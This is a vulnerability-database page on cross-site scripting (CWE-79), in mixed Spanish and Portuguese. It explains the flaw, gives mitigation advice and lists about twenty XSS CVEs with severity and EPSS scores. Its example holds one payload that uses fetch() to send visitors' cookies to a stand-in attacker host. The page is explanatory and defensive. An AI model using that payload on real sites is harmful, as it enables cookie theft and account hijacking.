Fallos del tipo CWE-79

30.199 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2026-50698MEDIUMFrappe Framework 17.0.0-dev - Stored XSS in Audit Trail template renderingEPSS 0.3%CVE-2025-13692HIGHUnlimited Elements For Elementor and Unlimited Elements For Elementor (Premium) <= 2.0 - Unauthenticated Stored Cross-Site Scripting via SVG File UploadEPSS 0.3%CVE-2025-39578MEDIUMWordPress Responsive Blocks plugin <= 2.0.2 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.3%CVE-2025-41081MEDIUMReflected Cross-Site Scripting (XSS) in IsMyGymEPSS 0.3%CVE-2025-56200MEDIUMA URL validation bypass vulnerability exists in validator.js through version 13.15.15. The isURL() function uses '://' as a delimiter to parEPSS 0.3%CVE-2024-22168MEDIUMCross-Site Scripting (XSS) vulnerability on Western Digital My Cloud and SanDisk ibi Web AppsEPSS 0.3%CVE-2025-1145MEDIUMNetVision Information ISOinsight - Reflected Cross-site ScriptingEPSS 0.3%CVE-2025-22679HIGHWordPress Job Board Manager Plugin <= 2.1.61 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-13802MEDIUMjairiidriss RestaurantWebsite Make a Reservation cross site scriptingEPSS 0.3%CVE-2025-39575MEDIUMWordPress WPCasa plugin <= 1.3.2 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.3%CVE-2025-24729MEDIUMWordPress ElementInvader Addons for Elementor plugin <= 1.3.3 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-50704MEDIUMFrappe Framework 17.0.0-dev - Reflected/Stored XSS in File View breadcrumbs renderingEPSS 0.3%CVE-2023-41810MEDIUMStored XSS Via Dashboard PanelEPSS 0.3%CVE-2024-2542MEDIUMJotform Online Forms <= 1.3.1 - Authenticated(Contributor+) Stored Cross-Site Scripting via ShortcodeEPSS 0.3%CVE-2025-24629HIGHWordPress Import Excel to Gravity Forms Plugin <= 1.18 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-9068MEDIUMOneElements – Best Elementor Addons <= 1.3.7 - Authenticated (Author+) Stored Cross-Site Scripting via SVG File UploadEPSS 0.3%CVE-2024-48709MEDIUMCodeAstro Membership Management System v1.0 is vulnerable to Cross Site Scripting (XSS) via the membershipType parameter in edit_type.phpEPSS 0.3%CVE-2024-8113HIGHStored XSS in Placeholder Samples in Mail PreviewEPSS 0.3%CVE-2025-39581MEDIUMWordPress Themify Shortcodes plugin <= 2.1.3 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.3%CVE-2024-9069MEDIUMGraphicsly – The ultimate graphics plugin for WordPress website builder ( Gutenberg, Elementor, Beaver Builder, WPBakery ) <= 1.0.2 - Authenticated (Author+) Stored Cross-Site Scripting via SVG File UploadEPSS 0.3%